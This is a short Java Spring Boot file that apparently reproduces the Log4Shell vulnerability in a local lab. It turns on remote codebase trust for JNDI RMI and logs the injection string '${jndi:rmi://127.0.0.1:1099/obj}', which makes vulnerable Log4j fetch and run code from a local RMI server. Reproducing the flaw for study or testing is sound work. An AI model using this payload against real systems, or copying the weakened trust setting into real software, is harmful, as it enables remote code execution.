package com.xyz;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class Application {

    private static final Logger logger = LogManager.getLogger(Application.class);

    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

        //String user = "zhangsan";

        String user = "${jndi:rmi://127.0.0.1:1099/obj}";
        logger.info("user {}", user);
    }
}
